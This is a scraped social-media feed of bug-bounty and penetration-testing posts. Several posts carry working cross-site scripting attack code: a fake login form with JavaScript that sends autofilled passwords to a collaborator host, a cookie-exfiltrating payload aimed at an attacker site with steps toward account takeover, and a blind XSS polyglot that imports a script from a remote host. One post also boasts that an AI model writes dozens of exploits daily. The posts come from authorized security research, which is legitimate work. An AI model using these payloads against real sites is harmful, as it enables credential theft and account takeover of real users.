Maple Mapleson

InfoSec Research

[Maple Mapleson @MaplesonMaple]

@ipurple @AnthropicAI I'm using Opus 4.8 for redteaming. Every day it makes dozens of exploits and offensive scripts for me. But after current engagement I'm migrating to pay-as-you-go openweights, can't wait to test them.

[Maple Mapleson @MaplesonMaple]

@UK_Daniel_Card Only Opus 4.8 works for me ... writes exploits and PoCs happily.

[Maple Mapleson @MaplesonMaple]

@Bugcrowd -tupln

[Maple Mapleson @MaplesonMaple]

@Jhaddix install vmware fusion 🙂

[Maple Mapleson @MaplesonMaple]

@hetmehtaa Cheers from EU 👋. 5y exp pentester $85k.

[Maple Mapleson @MaplesonMaple]

@ctbbpodcast @NahamSec I modified xsshunter to show me the injection key in the reports. Injection key is just a random string path in the xss payload - payload...import(//myhunter.net/jtbdlpt68j). When bxss fires I just search the key in burp logs saved after bxss testing.

[Maple Mapleson @MaplesonMaple]

@CristiVlad25 reliability + trustedness (yes this word really exists 😄)

[Maple Mapleson @MaplesonMaple]

@I_AM_1970 @techspence crazy 🤯

[Maple Mapleson @MaplesonMaple]

@techspence 1. an activity which causes reporting unexploitable findings as exploitable findings with high impact.

2. an activity which is declared to be a "pentest" by a provider but is a "scan" in fact.

[Will Gates @WllGates]

🚨Bypass email filter leading to SQL injection (JSON).

credit:@hackEnews

credit: @RootMoksha

#bugbountytips #BugBounty #bugbountytip #bugbounty

[Maple Mapleson @MaplesonMaple]

@bugbounty_memes VMware with Ubuntu 🙂

[Luke Stephens (hakluke) @hakluke]

Someone just sent me an XSS to collaborate on. It was an interesting case so I thought I'd tweet about it.

They'd found an xss in https://t.co/CkURxK6bwR, which was a subdomain that is only used to authenticate users.

They were having trouble escalating the XSS because this subdomain has no access to the main application at https://t.co/WfO0XAPrLD, or the API it interacts with, which is at https://t.co/GoBAfEGRfL.

I immediately thought of something that I'd heard recently (maybe on @ctbbpodcast?) where you can use an XSS to steal auto-filled plaintext credentials, so I thought I'd try to replicate this.

First, injected a fake login form, like this:

<form><input id="email" type="text"><input id="password" type="password"></form>

This is good enough to have a password manager automatically fill the credentials if it is injected into any page on the correct domain.

Now we just needed to send the credentials to the attacker server, I wrote some basic JS to do this:

setTimeout(function(){
httpRequest = new XMLHttpRequest();
https://t.co/cSQ62lEWXN('GET', 'https://BURP_COLLABORATOR?'+document.getElementById("email").value+"="+document.getElementById("password").value);
httpRequest.send();},2000)

The timeout is required because it takes a while for the password manager to autofill the passwords.

Then I used the XSS to inject the form, and the JavaScript, and voila! Plaintext credentials.

This isn't a new technique, I can see there are a bunch of other articles about it - but it's the first time I've exploited an XSS to steal creds from a password manager like this, so I figured some others would find it interesting.

[Maple Mapleson @MaplesonMaple]

@intigriti No, they are automated already 🙂

[Maple Mapleson @MaplesonMaple]

Best blind XSS polyglot? #XSS #BugBounty #bugbountytip #hackerone #bugcrowd #intigrity

[KNOXSS @KN0X55]

#KNOXSS Best Blind #XSS Vector

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*&lt;!--&gt;&lt;/Title/&lt;/Style/&lt;/Script/&lt;/textArea/&lt;/iFrame/&lt;/noScript&gt;\74k&lt;K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:\\https://t.co/DrRttyvs2m\00?1=[ID]/.source))}//\76--&gt;

[Cliff Pickover @pickover]

This is a mathematics joke involving potatoes and calculus. (Circulating widely on the Web.)

[James Kettle @albinowax]

There's still a load of potential for further research and discoveries in HTTP request smuggling. This massive-impact finding from @deadvolvo exploiting Akamai/F5 is a great example:
https://t.co/YHkP4fHoo8

[Jayesh Madnani @Jayesh25]

🔐💰 Question of the day: "How to Maximize Payouts with XSS Vulnerabilities"🤑Learn from my past mistakes! In my early days, I reported over 50 XSS issues, but I missed out on maximizing their impact, resulting in bounties that were only a fraction of what I could have earned.

Bounties for 'High' severity XSS Issues can range from $1,000 to $20,000. 💸

Here's a strategy to escalate XSS Vulnerabilities and boost your payouts:
1️⃣Always aim to turn XSS Vulnerabilities into account takeovers. Here's a simple payload you can use to demonstrate ATO: "><img src="x" onerror="document.location.href='https://attackersite(.)com?cookies=' + document.cookie + ''">
This payload exfiltrates user cookies and forwards them to an attacker-controlled site. Create a Proof of Concept (PoC) video showing how these cookies can hijack a user's session e.g. send a request to any authenticated API and demonstrate that the cookies work. This will earn you a 'High' severity bounty.
2️⃣If cookies are set as HTTPOnly, don't worry. Elevate the impact by performing sensitive client-side actions, such as changing a user's email address or password, and escalate it to an account takeover.
3️⃣If sensitive client-side actions aren't possible, check for leaked session cookies or tokens in the server's responses on all pages. Use your XSS payload to exfiltrate these and escalate to an account takeover.
4️⃣If no session cookies or tokens are found on any pages, examine the browser's local storage for stored session tokens and exfiltrate them to escalate to an account takeover.
5️⃣ If none of the above methods work, stay tuned for more tips! 😄

🚀Common mistakes to avoid: Reporting XSS as simple "Medium" risk issues without maximizing their impact. Don't underestimate their potential. Always seek ways to escalate XSS Issues to account takeovers for substantial bounties! 💡 #BugBounty #InfoSec #xss #crosssitescripting #Cybersecurity #BugBountyTips #HackerOne #BugCrowd #SecurityTips #QuestionOfTheDay

[_rs @rs_loves_bugs]

@NahamSec If you're looking to host your own XSSHunter instance checkout my fork, it very easy to deploy it(compared to Trufflesec version) and I added new features to it: no blurred screenshots,Trufflehog support, Slack/Discord/Telegram notifications and more!

https://t.co/LlngdbPRnk

[Nicolas Grégoire @Agarri_FR]

It seems that the guy who hacked Silk Road in 2012 and stole 50,000 bitcoins got arrested 👀

And don't trust the title too much. At today's rate, 50k bitcoins is equivalent to "only" $1.6 billion 💰

https://t.co/SApZ1HKXIa